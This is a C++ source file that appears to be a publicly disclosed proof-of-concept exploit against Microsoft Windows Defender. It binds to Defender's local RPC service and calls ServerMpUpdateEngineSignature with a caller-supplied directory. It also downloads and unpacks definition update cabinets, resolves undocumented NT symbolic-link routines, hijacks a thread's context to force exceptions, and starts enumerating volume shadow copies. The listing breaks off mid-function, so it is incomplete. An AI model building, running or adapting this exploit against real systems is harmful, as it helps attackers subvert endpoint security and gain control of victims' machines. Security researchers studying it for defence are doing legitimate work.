/ FunnyApp.cpp
FunnyApp.cpp
1 // Special thanks to Tom Gallagher, Igor Tsyganskiy and Jeremy Tinder for making this PoC publicly disclosed !!! 2 3 #define _CRT_SECURE_NO_WARNINGS 4 5 #include <iostream> 6 #include <Windows.h> 7 #include <Lmcons.h> 8 #include <wininet.h> 9 #include <string.h> 10 #include <fdi.h> 11 #include <fcntl.h> 12 #include <winternl.h> 13 #include <conio.h> 14 #include <Shlwapi.h> 15 #include <ktmw32.h> 16 #include <wuapi.h> 17 #include <ntstatus.h> 18 #include <cfapi.h> 19 #include <aclapi.h> 20 #include "windefend_h.h" 21 22 /* 23 #include <openssl/ssl.h> 24 #include <openssl/err.h> 25 #include <openssl/aes.h> 26 #include <openssl/evp.h> 27 #include <openssl/sha.h> 28 #include <openssl/provider.h> 29 #include <openssl/hmac.h> 30 */ 31 #include "offreg.h" 32 #define _NTDEF_ 33 #include <ntsecapi.h> 34 #include <sddl.h> 35 36 #pragma comment(lib, "wininet.lib") 37 #pragma comment(lib, "ktmw32.lib") 38 #pragma comment(lib, "Shlwapi.lib") 39 #pragma comment(lib, "Rpcrt4.lib") 40 #pragma comment(lib, "ntdll.lib") 41 #pragma comment(lib, "Cabinet.lib") 42 #pragma comment(lib, "Wuguid.lib") 43 #pragma comment(lib,"CldApi.lib") 44 45 46 /// NT routines and definitions 47 HMODULE hm = GetModuleHandle(L"ntdll.dll"); 48 NTSTATUS(WINAPI* _NtCreateSymbolicLinkObject)( 49 OUT PHANDLE pHandle, 50 IN ACCESS_MASK DesiredAccess, 51 IN POBJECT_ATTRIBUTES ObjectAttributes, 52 IN PUNICODE_STRING DestinationName) = (NTSTATUS(WINAPI*)( 53 OUT PHANDLE pHandle, 54 IN ACCESS_MASK DesiredAccess, 55 IN POBJECT_ATTRIBUTES ObjectAttributes, 56 IN PUNICODE_STRING DestinationName))GetProcAddress(hm, "NtCreateSymbolicLinkObject"); 57 NTSTATUS(WINAPI* _NtOpenDirectoryObject)( 58 PHANDLE DirectoryHandle, 59 ACCESS_MASK DesiredAccess, 60 POBJECT_ATTRIBUTES ObjectAttributes 61 ) = (NTSTATUS(WINAPI*)( 62 PHANDLE DirectoryHandle, 63 ACCESS_MASK DesiredAccess, 64 POBJECT_ATTRIBUTES ObjectAttributes 65 ))GetProcAddress(hm, "NtOpenDirectoryObject");; 66 NTSTATUS(WINAPI* _NtQueryDirectoryObject)( 67 HANDLE DirectoryHandle, 68 PVOID Buffer, 69 ULONG Length, 70 BOOLEAN ReturnSingleEntry, 71 BOOLEAN RestartScan, 72 PULONG Context, 73 PULONG ReturnLength 74 ) = (NTSTATUS(WINAPI*)( 75 HANDLE DirectoryHandle, 76 PVOID Buffer, 77 ULONG Length, 78 BOOLEAN ReturnSingleEntry, 79 BOOLEAN RestartScan, 80 PULONG Context, 81 PULONG ReturnLength 82 ))GetProcAddress(hm, "NtQueryDirectoryObject"); 83 NTSTATUS(WINAPI* _NtSetInformationFile)( 84 HANDLE FileHandle, 85 PIO_STATUS_BLOCK IoStatusBlock, 86 PVOID FileInformation, 87 ULONG Length, 88 FILE_INFORMATION_CLASS FileInformationClass 89 ) = (NTSTATUS(WINAPI*)( 90 HANDLE FileHandle, 91 PIO_STATUS_BLOCK IoStatusBlock, 92 PVOID FileInformation, 93 ULONG Length, 94 FILE_INFORMATION_CLASS FileInformationClass 95 ))GetProcAddress(hm, "NtSetInformationFile"); 96 97 #define RtlOffsetToPointer(Base, Offset) ((PUCHAR)(((PUCHAR)(Base)) + ((ULONG_PTR)(Offset)))) 98 99 100 typedef struct _FILE_DISPOSITION_INFORMATION_EX { 101 ULONG Flags; 102 } FILE_DISPOSITION_INFORMATION_EX, * PFILE_DISPOSITION_INFORMATION_EX; 103 typedef struct _OBJECT_DIRECTORY_INFORMATION { 104 UNICODE_STRING Name; 105 UNICODE_STRING TypeName; 106 } OBJECT_DIRECTORY_INFORMATION, * POBJECT_DIRECTORY_INFORMATION; 107 108 typedef struct _REPARSE_DATA_BUFFER { 109 ULONG ReparseTag; 110 USHORT ReparseDataLength; 111 USHORT Reserved; 112 union { 113 struct { 114 USHORT SubstituteNameOffset; 115 USHORT SubstituteNameLength; 116 USHORT PrintNameOffset; 117 USHORT PrintNameLength; 118 ULONG Flags; 119 WCHAR PathBuffer[1]; 120 } SymbolicLinkReparseBuffer; 121 struct { 122 USHORT SubstituteNameOffset; 123 USHORT SubstituteNameLength; 124 USHORT PrintNameOffset; 125 USHORT PrintNameLength; 126 WCHAR PathBuffer[1]; 127 } MountPointReparseBuffer; 128 struct { 129 UCHAR DataBuffer[1]; 130 } GenericReparseBuffer; 131 } DUMMYUNIONNAME; 132 } REPARSE_DATA_BUFFER, * PREPARSE_DATA_BUFFER; 133 134 #define REPARSE_DATA_BUFFER_HEADER_LENGTH FIELD_OFFSET(REPARSE_DATA_BUFFER, GenericReparseBuffer.DataBuffer) 135 136 //////////////// NT DEF END 137 138 139 // definitions of structures used by threads that invoke WD RPC calls 140 struct WDRPCWorkerThreadArgs 141 { 142 HANDLE hntfythread; 143 HANDLE hevent; 144 RPC_STATUS res; 145 wchar_t* dirpath; 146 }; 147 148 typedef struct tagMPCOMPONENT_VERSION { 149 ULONGLONG Version; 150 ULARGE_INTEGER UpdateTime; 151 } MPCOMPONENT_VERSION, * PMPCOMPONENT_VERSION; 152 153 typedef struct tagMPVERSION_INFO { 154 MPCOMPONENT_VERSION Product; 155 MPCOMPONENT_VERSION Service; 156 MPCOMPONENT_VERSION FileSystemFilter; 157 MPCOMPONENT_VERSION Engine; 158 MPCOMPONENT_VERSION ASSignature; 159 MPCOMPONENT_VERSION AVSignature; 160 MPCOMPONENT_VERSION NISEngine; 161 MPCOMPONENT_VERSION NISSignature; 162 MPCOMPONENT_VERSION Reserved[4]; 163 } MPVERSION_INFO, * PMPVERSION_INFO; 164 165 typedef union Version { 166 struct { 167 WORD major; 168 WORD minor; 169 WORD build; 170 WORD revision; 171 }; 172 ULONGLONG QuadPart; 173 }; 174 ////////////////// 175 176 177 // structures and global vars used by definition update functions 178 void* cabbuff2 = NULL; 179 DWORD cabbuffsz = 0; 180 struct CabOpArguments { 181 ULONG index; 182 char* filename; 183 size_t ptroffset; 184 char* buff; 185 DWORD FileSize; 186 CabOpArguments* first; 187 CabOpArguments* next; 188 }; 189 190 struct UpdateFiles { 191 char filename[MAX_PATH]; 192 void* filebuff; 193 DWORD filesz; 194 bool filecreated; 195 UpdateFiles* next; 196 }; 197 /////////////////////////////////////// 198 199 200 // structures and global vars used by volume shadow copy functions 201 struct cldcallbackctx { 202 203 HANDLE hnotifywdaccess; 204 HANDLE hnotifylockcreated; 205 wchar_t filename[MAX_PATH]; 206 }; 207 208 struct LLShadowVolumeNames 209 { 210 wchar_t* name; 211 LLShadowVolumeNames* next; 212 }; 213 214 struct cloudworkerthreadargs { 215 HANDLE hlock; 216 HANDLE hcleanupevent; 217 HANDLE hvssready; 218 }; 219 /////////////////////////////////////// 220 221 222 223 ////////////////////////////////////////////////////////////////////// 224 // Functions required by RPC 225 ///////////////////////////////////////////////////////////////////// 226 227 void __RPC_FAR* __RPC_USER midl_user_allocate(size_t cBytes) 228 { 229 return((void __RPC_FAR*) malloc(cBytes)); 230 } 231 232 void __RPC_USER midl_user_free(void __RPC_FAR* p) 233 { 234 free(p); 235 } 236 ////////////////////////////////////////////////////////////////////// 237 // Functions required by RPC end 238 ///////////////////////////////////////////////////////////////////// 239 240 241 242 243 ////////////////////////////////////////////////////////////////////// 244 // WD RPC functions 245 ///////////////////////////////////////////////////////////////////// 246 void ThrowFunc() 247 { 248 throw 0; 249 } 250 251 void RaiseExceptionInThread(HANDLE hthread) 252 { 253 CONTEXT ctx = { 0 }; 254 ctx.ContextFlags = CONTEXT_FULL; 255 SuspendThread(hthread); 256 257 if (GetThreadContext(hthread, &ctx)) 258 { 259 ctx.Rip = (DWORD64)ThrowFunc; 260 SetThreadContext(hthread, &ctx); 261 ResumeThread(hthread); 262 } 263 } 264 265 void CallWD(WDRPCWorkerThreadArgs* args) 266 { 267 RPC_WSTR MS_WD_UUID = (RPC_WSTR)L"c503f532-443a-4c69-8300-ccd1fbdb3839"; 268 RPC_WSTR StringBinding; 269 if (RpcStringBindingComposeW(MS_WD_UUID, (RPC_WSTR)L"ncalrpc", NULL, (RPC_WSTR)L"IMpService77BDAF73-B396-481F-9042-AD358843EC24", NULL, &StringBinding) != RPC_S_OK) 270 { 271 printf("Unexpected error while building an RPC binding from string !!!"); 272 RaiseExceptionInThread(args->hntfythread); 273 return; 274 } 275 RPC_BINDING_HANDLE bindhandle = 0; 276 if (RpcBindingFromStringBindingW(StringBinding, &bindhandle) != RPC_S_OK) 277 { 278 printf("Failed to connect to windows defender RPC port !!!"); 279 RaiseExceptionInThread(args->hntfythread); 280 return; 281 } 282 // PoC might fail here with 0x8050A003 from time to time, this means the update that the PoC is attempting to perform isn't the right one for this code, bail out anyway and wait for the right update. 283 error_status_t errstat = 0; 284 printf("Calling ServerMpUpdateEngineSignature...\n"); 285 RPC_STATUS stat = Proc42_ServerMpUpdateEngineSignature(bindhandle, NULL, args->dirpath, &errstat); 286 args->res = stat; 287 if (args->hevent) 288 SetEvent(args->hevent); 289 290 } 291 292 DWORD WINAPI WDCallerThread(void* args) 293 { 294 if (!args) 295 return ERROR_BAD_ARGUMENTS; 296 CallWD((WDRPCWorkerThreadArgs*)args); 297 return ERROR_SUCCESS; 298 299 } 300 ////////////////////////////////////////////////////////////////////// 301 // WD RPC functions end 302 ///////////////////////////////////////////////////////////////////// 303 304 305 306 307 ////////////////////////////////////////////////////////////////////// 308 // WD definition update functions 309 ///////////////////////////////////////////////////////////////////// 310 311 CabOpArguments* CUST_FNOPEN(const char* filename, int oflag, int pmode) 312 { 313 314 CabOpArguments* cbps = (CabOpArguments*)malloc(sizeof(CabOpArguments)); 315 ZeroMemory(cbps, sizeof(CabOpArguments)); 316 cbps->buff = (char*)cabbuff2; 317 cbps->FileSize = cabbuffsz; 318 return cbps; 319 } 320 321 INT CUST_FNSEEK(HANDLE hf, 322 long offset, 323 int origin) 324 { 325 326 if (hf) 327 { 328 CabOpArguments* CabOpArgs = (CabOpArguments*)hf; 329 if (origin == SEEK_SET) 330 CabOpArgs->ptroffset = offset; 331 if (origin == SEEK_CUR) 332 CabOpArgs->ptroffset += offset; 333 if (origin == SEEK_END) 334 CabOpArgs->ptroffset += CabOpArgs->FileSize; 335 336 return CabOpArgs->ptroffset; 337 338 } 339 340 return -1; 341 } 342 343 344 UINT CUST_FNREAD(CabOpArguments* hf, 345 void* const buffer, 346 unsigned const buffer_size) 347 { 348 349 if (hf) 350 { 351 CabOpArguments* CabOpArgs = (CabOpArguments*)hf; 352 if (CabOpArgs->buff) 353 { 354 355 memmove(buffer, &CabOpArgs->buff[CabOpArgs->ptroffset], buffer_size); 356 CabOpArgs->ptroffset += buffer_size; 357 //CabOpArgs->ReadBytes += buffer_size; 358 return buffer_size; 359 } 360 } 361 362 return NULL; 363 } 364 365 UINT CUST_FNWRITE(CabOpArguments* hf, 366 const void* buffer, 367 unsigned int count) 368 { 369 370 if (hf) 371 { 372 if (hf->buff) { 373 memmove(&hf->buff[hf->ptroffset], buffer, count); 374 hf->ptroffset += count; 375 return count; 376 } 377 } 378 379 380 return NULL; 381 } 382 383 INT CUST_FNCLOSE(CabOpArguments* fnFileClose) 384 { 385 386 free(fnFileClose); 387 return 0; 388 } 389 390 VOID* CUST_FNALLOC(size_t cb) 391 { 392 return malloc(cb); 393 } 394 395 VOID CUST_FNFREE(void* buff) 396 { 397 free(buff); 398 } 399 400 INT_PTR CUST_FNFDINOTIFY( 401 FDINOTIFICATIONTYPE fdinotify, PFDINOTIFICATION pfdin 402 ) { 403 404 //printf("_FNFDINOTIFY : %d\n", fdinotify); 405 wchar_t newfile[MAX_PATH] = { 0 }; 406 wchar_t filename[MAX_PATH] = { 0 }; 407 HANDLE hfile = NULL; 408 ULONG rethandle = 0; 409 CabOpArguments** ptr = NULL; 410 CabOpArguments* lcab = NULL; 411 switch (fdinotify) 412 { 413 case fdintCOPY_FILE: 414 if (_stricmp(pfdin->psz1, "MpSigStub.exe") == 0) 415 return NULL; 416 417 ptr = (CabOpArguments**)pfdin->pv; 418 lcab = *ptr; 419 if (lcab == NULL) { 420 lcab = (CabOpArguments*)malloc(sizeof(CabOpArguments)); 421 ZeroMemory(lcab, sizeof(CabOpArguments)); 422 lcab->first = lcab; 423 lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); 424 ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); 425 memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); 426 lcab->FileSize = pfdin->cb; 427 lcab->buff = (char*)malloc(lcab->FileSize); 428 ZeroMemory(lcab->buff, lcab->FileSize); 429 430 431 } 432 else 433 { 434 435 436 lcab->next = (CabOpArguments*)malloc(sizeof(CabOpArguments)); 437 ZeroMemory(lcab->next, sizeof(CabOpArguments)); 438 lcab->next->first = lcab->first; 439 lcab = lcab->next; 440 441 lcab->filename = (char*)malloc(strlen(pfdin->psz1) + sizeof(char)); 442 ZeroMemory(lcab->filename, strlen(pfdin->psz1) + sizeof(char)); 443 memmove(lcab->filename, pfdin->psz1, strlen(pfdin->psz1)); 444 lcab->FileSize = pfdin->cb; 445 lcab->buff = (char*)malloc(lcab->FileSize); 446 ZeroMemory(lcab->buff, lcab->FileSize); 447 } 448 449 lcab->first->index++; 450 *ptr = lcab; 451 452 453 454 return (INT_PTR)lcab; 455 break; 456 case fdintCLOSE_FILE_INFO: 457 return TRUE; 458 break; 459 default: 460 return 0; 461 } 462 return 0; 463 } 464 465 void* GetCabFileFromBuff(PIMAGE_DOS_HEADER pvRawData, ULONG cbRawData, ULONG* cabsz) 466 { 467 if (cbRawData < sizeof(IMAGE_DOS_HEADER)) 468 { 469 return 0; 470 } 471 472 if (pvRawData->e_magic != IMAGE_DOS_SIGNATURE) 473 { 474 return 0; 475 } 476 477 ULONG e_lfanew = pvRawData->e_lfanew, s = e_lfanew + sizeof(IMAGE_NT_HEADERS); 478 479 if (e_lfanew >= s || s > cbRawData) 480 { 481 return 0; 482 } 483 484 PIMAGE_NT_HEADERS pinth = (PIMAGE_NT_HEADERS)RtlOffsetToPointer(pvRawData, e_lfanew); 485 486 487 488 if (pinth->Signature != IMAGE_NT_SIGNATURE) 489 { 490 return 0; 491 } 492 493 ULONG SizeOfImage = pinth->OptionalHeader.SizeOfImage, SizeOfHeaders = pinth->OptionalHeader.SizeOfHeaders; 494 495 s = e_lfanew + SizeOfHeaders; 496 497 if (SizeOfHeaders > SizeOfImage || SizeOfHeaders >= s || s > cbRawData) 498 { 499 return 0; 500 } 501 502 s = FIELD_OFFSET(IMAGE_NT_HEADERS, OptionalHeader) + pinth->FileHeader.SizeOfOptionalHeader; 503 504 if (s > SizeOfHeaders) 505 { 506 return 0; 507 } 508 509 ULONG NumberOfSections = pinth->FileHeader.NumberOfSections; 510 511 PIMAGE_SECTION_HEADER pish = (PIMAGE_SECTION_HEADER)RtlOffsetToPointer(pinth, s); 512 513 ULONG Size; 514 515 if (NumberOfSections) 516 { 517 if (e_lfanew + s + NumberOfSections * sizeof(IMAGE_SECTION_HEADER) > SizeOfHeaders) 518 { 519 return 0; 520 } 521 522 do 523 { 524 if (Size = min(pish->Misc.VirtualSize, pish->SizeOfRawData)) 525 { 526 union { 527 ULONG VirtualAddress, PointerToRawData; 528 }; 529 530 VirtualAddress = pish->VirtualAddress, s = VirtualAddress + Size; 531 532 if (VirtualAddress > s || s > SizeOfImage) 533 { 534 return 0; 535 } 536 537 PointerToRawData = pish->PointerToRawData, s = PointerToRawData + Size; 538 539 if (PointerToRawData > s || s > cbRawData) 540 { 541 return 0; 542 } 543 544 char rsrc[] = ".rsrc"; 545 if (memcmp(pish->Name, rsrc, sizeof(rsrc)) == 0) 546 { 547 typedef struct _IMAGE_RESOURCE_DIRECTORY2 { 548 DWORD Characteristics; 549 DWORD TimeDateStamp; 550 WORD MajorVersion; 551 WORD MinorVersion; 552 WORD NumberOfNamedEntries; 553 WORD NumberOfIdEntries; 554 IMAGE_RESOURCE_DIRECTORY_ENTRY DirectoryEntries[]; 555 } IMAGE_RESOURCE_DIRECTORY2, * PIMAGE_RESOURCE_DIRECTORY2; 556 557 PIMAGE_RESOURCE_DIRECTORY2 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(pvRawData, pish->PointerToRawData); 558 559 PIMAGE_RESOURCE_DIRECTORY2 prsrc = pird; 560 PIMAGE_RESOURCE_DIRECTORY_ENTRY pirde = { 0 }; 561 PIMAGE_RESOURCE_DATA_ENTRY pdata = 0; 562 563 while (pird->NumberOfNamedEntries + pird->NumberOfIdEntries) 564 { 565 566 567 568 569 pirde = &pird->DirectoryEntries[0]; 570 if (!pirde->DataIsDirectory) 571 { 572 pdata = (PIMAGE_RESOURCE_DATA_ENTRY)RtlOffsetToPointer(prsrc, pirde->OffsetToData); 573 pdata->OffsetToData -= pish->VirtualAddress - pish->PointerToRawData; 574 void* cabfile = RtlOffsetToPointer(pvRawData, pdata->OffsetToData); 575 if (cabsz) 576 *cabsz = pdata->Size; 577 return cabfile; 578 } 579 pird = (PIMAGE_RESOURCE_DIRECTORY2)RtlOffsetToPointer(prsrc, pirde->OffsetToDirectory); 580 } 581 break; 582 583 584 585 586 } 587 588 589 590 } 591 592 } while (pish++, --NumberOfSections); 593 } 594 return NULL; 595 596 } 597 598 599 UpdateFiles* GetUpdateFiles(int* filecount = NULL) 600 { 601 602 603 604 HINTERNET hint = NULL; 605 HINTERNET hint2 = NULL; 606 char data[0x1000] = { 0 }; 607 DWORD index = 0; 608 DWORD sz = sizeof(data); 609 bool res2 = 0; 610 wchar_t filesz[50] = { 0 }; 611 LARGE_INTEGER li = { 0 }; 612 GUID uid = { 0 }; 613 RPC_WSTR wuid = { 0 }; 614 wchar_t* wuid2 = 0; 615 wchar_t envstr[MAX_PATH] = { 0 }; 616 wchar_t mpampath[MAX_PATH] = { 0 }; 617 HANDLE hmpap = NULL; 618 void* exebuff = NULL; 619 DWORD readsz = 0; 620 HANDLE hmapping = NULL; 621 void* mappedbuff = NULL; 622 HRSRC hres = NULL; 623 DWORD ressz = NULL; 624 HGLOBAL cabbuff = NULL; 625 HANDLE htransaction = NULL; 626 char fname[] = "update.cab"; 627 ERF erfstruct = { 0 }; 628 HFDI hcabctx = NULL; 629 bool extractres = false; 630 DWORD totalsz = 0; 631 HANDLE hmpeng = NULL; 632 CabOpArguments* CabOpArgs = NULL; 633 CabOpArguments* mpenginedata = NULL; 634 void* dllview = NULL; 635 char** filesmtrx = 0; 636 UpdateFiles* firstupdt = NULL; 637 UpdateFiles* current = NULL; 638 639 DWORD nbytes = 0; 640 641 642 printf("Downloading updates...\n"); 643 hint = InternetOpen(L"Chrome/141.0.0.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, NULL); 644 if (!hint) 645 { 646 printf("Failed to open internet, error : %d", GetLastError()); 647 goto cleanup; 648 } 649 650 hint2 = InternetOpenUrl(hint, L"https://go.microsoft.com/fwlink/?LinkID=121721&arch=x64", NULL, NULL, INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTP | INTERNET_FLAG_IGNORE_REDIRECT_TO_HTTPS | INTERNET_FLAG_NO_UI | INTERNET_FLAG_RELOAD, NULL); 651 //InternetCloseHandle(hint); 652 if (!hint2) 653 { 654 printf("Failed to open internet URL, error : %d", GetLastError()); 655 goto cleanup; 656 } 657 658 res2 = HttpQueryInfo(hint2, HTTP_QUERY_CONTENT_LENGTH, data, &sz, &index); 659 if (!res2) 660 { 661 printf("Failed to query update size, error : %d", GetLastError()); 662 goto cleanup; 663 } 664 665 666 wcscpy(filesz, (LPWSTR)data); 667 sz = _wtoi(filesz); 668 li.QuadPart = sz; 669 670 671 exebuff = malloc(sz); 672 if (!exebuff) 673 { 674 printf("Failed to allocate memory to download file !!!"); 675 goto cleanup; 676 } 677 ZeroMemory(exebuff, sz); 678 679 if (!InternetReadFile(hint2, exebuff, sz, &readsz) || readsz != sz) 680 { 681 682 printf("Failed to download update from internet, error : %d", GetLastError()); 683 goto cleanup; 684 } 685 InternetCloseHandle(hint); 686 hint = NULL; 687 InternetCloseHandle(hint2); 688 hint = NULL; 689 printf("Done.\n"); 690 mappedbuff = GetCabFileFromBuff((PIMAGE_DOS_HEADER)exebuff, sz, &ressz); 691 692 693 694 if (!mappedbuff) 695 { 696 printf("Failed to retrieve cabinet file from downloaded file.\n"); 697 goto cleanup; 698 } 699 printf("Cabinet file mapped at 0x%p\n", mappedbuff); 700 701 702 703 704 cabbuff2 = mappedbuff; 705 cabbuffsz = ressz; 706 707 printf("Extracting cab file content...\n"); 708 hcabctx = FDICreate((PFNALLOC)CUST_FNALLOC, CUST_FNFREE, (PFNOPEN)CUST_FNOPEN, (PFNREAD)CUST_FNREAD, (PFNWRITE)CUST_FNWRITE, (PFNCLOSE)CUST_FNCLOSE, (PFNSEEK)CUST_FNSEEK, cpuUNKNOWN, &erfstruct); 709 if (!hcabctx) 710 { 711 printf("Failed to create cab context, error : 0x%x", erfstruct.erfOper); 712 goto cleanup; 713 } 714 715 716 717 extractres = FDICopy(hcabctx, (char*)"\\update.cab", (char*)"C:\\temp", NULL, (PFNFDINOTIFY)CUST_FNFDINOTIFY, NULL, &CabOpArgs); 718 if (!extractres) 719 { 720 printf("Failed to extract cab file, error : 0x%x", erfstruct.erfOper); 721 goto cleanup; 722 } 723 FDIDestroy(hcabctx); 724 hcabctx = NULL; 725 726 if (!CabOpArgs) 727 { 728 printf("Unexpected empty buffer after extracting cab file.\n"); 729 return NULL; 730 } 731 732 CabOpArgs = CabOpArgs->first; 733 734 firstupdt = (UpdateFiles*)malloc(sizeof(UpdateFiles)); 735 ZeroMemory(firstupdt, sizeof(UpdateFiles)); 736 current = firstupdt; 737 while (CabOpArgs) 738 { 739 if (filecount) 740 *filecount += 1; 741 strcpy(current->filename, CabOpArgs->filename); 742 DWORD buffsz = CabOpArgs->FileSize; 743 current->filebuff = malloc(buffsz); 744 memmove(current->filebuff, CabOpArgs->buff, buffsz); 745 current->filesz = buffsz; 746 CabOpArgs = CabOpArgs->next; 747 if (CabOpArgs) 748 { 749 current->next = (UpdateFiles*)malloc(sizeof(UpdateFiles)); 750 ZeroMemory(current->next, sizeof(UpdateFiles)); 751 current = current->next; 752 } 753 754 } 755 printf("Cab file content extracted.\n"); 756 757 758 cleanup: 759 760 if (CabOpArgs) 761 { 762 CabOpArguments* current = CabOpArgs->first; 763 while (current) 764 { 765 free(current->buff); 766 free(current->filename); 767 CabOpArgs = current; 768 current = current->next; 769 free(CabOpArgs); 770 } 771 } 772 if (hint) 773 InternetCloseHandle(hint); 774 775 if (hint2) 776 InternetCloseHandle(hint2); 777 if (exebuff) 778 free(exebuff); 779 780 return firstupdt; 781 782 783 } 784 785 bool CheckForWDUpdates(wchar_t* updatetitle, bool* criterr) 786 { 787 788 789 790 IUpdateSearcher* updsrch = 0; 791 bool updatesfound = false; 792 IUpdateSession* updsess = 0; 793 CLSID clsid; 794 HRESULT hr = CLSIDFromProgID(OLESTR("Microsoft.Update.Session"), &clsid); 795 ISearchResult* srchres = 0; 796 IUpdateCollection* updcollection = 0; 797 LONG updnum = 0; 798 BSTR title = 0; 799 BSTR desc = 0; 800 ICategoryCollection* catcoll = 0; 801 ICategory* cat = 0; 802 BSTR catname = 0; 803 IUpdate* upd = 0; 804 bool comini = CoInitialize(NULL) == 0; 805 if (!comini) { 806 printf("Failed to initialize COM\n"); 807 *criterr = true; 808 return false; 809 } 810 811 812 813 814 hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUpdateSession, (LPVOID*)&updsess); 815 816 if (!updsess) 817 { 818 printf("CoCreateInstance returned a NULL pointer.\n"); 819 *criterr = true; 820 goto cleanup; 821 } 822 //printf("CoCreateInstance : 0x%p\n", updsess); 823 824 825 hr = updsess->CreateUpdateSearcher(&updsrch); 826 if (hr) 827 { 828 printf("IUpdateSearcher->CreateUpdateSearcher failed with error : 0x%0.X", hr); 829 *criterr = true; 830 goto cleanup; 831 } 832 833 if (!updsrch) 834 { 835 printf("IUpdateSearcher->CreateUpdateSearcher returned a NULL pointer.\n"); 836 *criterr = true; 837 goto cleanup; 838 } 839 //printf("IUpdateSearcher->CreateUpdateSearcher : 0x%p\n", updsrch); 840 //printf("Checking for updates, please wait...\n"); 841 hr = updsrch->Search(SysAllocString(L""), &srchres); 842 if (hr) 843 { 844 printf("ISearchResult->Search failed with error : 0x%0.X", hr); 845 *criterr = true; 846 goto cleanup; 847 } 848 //printf("ISearchResult->Search : 0x%p\n", srchres); 849 850 hr = srchres->get_Updates(&updcollection); 851 if (hr) 852 { 853 printf("IUpdateCollection->get_Updates failed with error : 0x%0.X", hr); 854 *criterr = true; 855 goto cleanup; 856 } 857 858 if (!updcollection) 859 { 860 printf("IUpdateCollection->get_Updates returned a NULL pointer.\n"); 861 *criterr = true; 862 goto cleanup; 863 } 864 //printf("IUpdateCollection->get_Updates : 0x%p\n", updcollection); 865 866 867 hr = updcollection->get_Count(&updnum); 868 if (hr) 869 { 870 printf("IUpdateCollection->get_Count failed with error : 0x%0.X", hr); 871 *criterr = true; 872 goto cleanup; 873 } 874 //printf("Updates count : %d\n", updnum); 875 876 for (LONG i = 0; i < updnum; i++) 877 { 878 if (upd) 879 { 880 upd->Release(); 881 upd = 0; 882 } 883 title = 0; 884 desc = 0; 885 catname = 0; 886 //printf("_________________________________________\n"); 887 bool IsWdUdpate = false; 888 bool IsSigUpdate = false; 889 hr = updcollection->get_Item(i, &upd); 890 if (hr) 891 { 892 printf("IUpdateCollection->get_Item failed with error : 0x%0.X", hr); 893 *criterr = true; 894 goto cleanup; 895 } 896 if (!upd) 897 { 898 printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); 899 *criterr = true; 900 goto cleanup; 901 } 902 //printf("Update number : %d\n", i + 1); 903 904 hr = upd->get_Title(&title); 905 if (hr) 906 { 907 printf("IUpdateCollection->get_Title failed with error : 0x%0.X", hr); 908 continue; 909 } 910 if (!title) 911 { 912 printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); 913 continue; 914 } 915 title[SysStringLen(title)] = NULL; 916 //printf("Title : %ws\n", title); 917 918 /* 919 desc = 0; 920 upd->get_Description(&desc); 921 if (!desc) 922 { 923 printf("IUpdateCollection->get_Item returned a NULL pointer.\n"); 924 continue; 925 } 926 desc[SysStringLen(desc)] = NULL; 927 printf("Description : %ws\n", desc); 928 */ 929 catcoll = 0; 930 hr = upd->get_Categories(&catcoll); 931 if (!catcoll) 932 { 933 printf("IUpdateCollection->get_Categories returned a NULL pointer.\n"); 934 continue; 935 } 936 LONG catcount = 0; 937 hr = catcoll->get_Count(&catcount); 938 for (LONG j = 0; j < catcount; j++) 939 { 940 cat = 0; 941 hr = catcoll->get_Item(j, &cat); 942 if (!cat) 943 { 944 printf("ICategoryCollection->get_Item returned NULL pointer.\n"); 945 continue; 946 } 947 catname = 0; 948 cat->get_Name(&catname); 949 catname[SysStringLen(catname)] = NULL; 950 //printf("Category name : %ws\n", catname); 951 if (catname) 952 { 953 if (!IsWdUdpate) 954 IsWdUdpate = _wcsicmp(catname, L"Microsoft Defender Antivirus") == 0; 955 if (!IsSigUpdate) 956 IsSigUpdate = _wcsicmp(catname, L"Definition Updates") == 0; 957 958 } 959 960 } 961 updatesfound = IsWdUdpate && IsSigUpdate; 962 if (updatesfound) 963 break; 964 } 965 966 if (updatesfound && updatetitle) { 967 memmove(updatetitle, title, lstrlenW(title) * sizeof(wchar_t)); 968 } 969 970 cleanup: 971 if (updcollection) 972 updcollection->Release(); 973 if (srchres) 974 srchres->Release(); 975 if (updsrch) 976 updsrch->Release(); 977 if (updsess) 978 updsess->Release(); 979 if (upd) 980 upd->Release(); 981 CoUninitialize(); 982 983 984 return updatesfound; 985 } 986 987 ////////////////////////////////////////////////////////////////////// 988 // WD definition update functions end 989 ///////////////////////////////////////////////////////////////////// 990 991 992 ////////////////////////////////////////////////////////////////////// 993 // Volume shadow copy functions 994 ///////////////////////////////////////////////////////////////////// 995 996 void rev(char* s) { 997 998 // Initialize l and r pointers 999 int l = 0; 1000 int r = strlen(s) - 1; 1001 char t; 1002 1003 // Swap characters till l and r meet 1004 while (l < r) { 1005 1006 // Swap characters 1007 t = s[l]; 1008 s[l] = s[r]; 1009 s[r] = t; 1010 1011 // Move pointers towards each other 1012 l++; 1013 r--; 1014 } 1015 } 1016 1017 void DestroyVSSNamesList(LLShadowVolumeNames* First) 1018 { 1019 while (First) 1020 { 1021 free(First->name); 1022 LLShadowVolumeNames* next = First->next; 1023 free(First); 1024 First = next; 1025 } 1026 } 1027 1028 LLShadowVolumeNames* RetrieveCurrentVSSList(HANDLE hobjdir, bool* criticalerr, int* vscnumber, DWORD* errorcode) 1029 { 1030 1031 1032 if (!criticalerr || !vscnumber || !errorcode) 1033 return NULL; 1034 1035 *vscnumber = 0; 1036 ULONG scanctx = 0; 1037 ULONG reqsz = sizeof(OBJECT_DIRECTORY_INFORMATION) + (UNICODE_STRING_MAX_BYTES * 2); 1038 ULONG retsz = 0; 1039 OBJECT_DIRECTORY_INFORMATION* objdirinfo = (OBJECT_DIRECTORY_INFORMATION*)malloc(reqsz); 1040 if (!objdirinfo) 1041 { 1042 printf("Failed to allocate required buffer to query object manager directory.\n"); 1043 *criticalerr = true; 1044 *errorcode = ERROR_NOT_ENOUGH_MEMORY; 1045 return NULL; 1046 } 1047 ZeroMemory(objdirinfo, reqsz); 1048 NTSTATUS stat = STATUS_SUCCESS; 1049 do 1050 { 1051 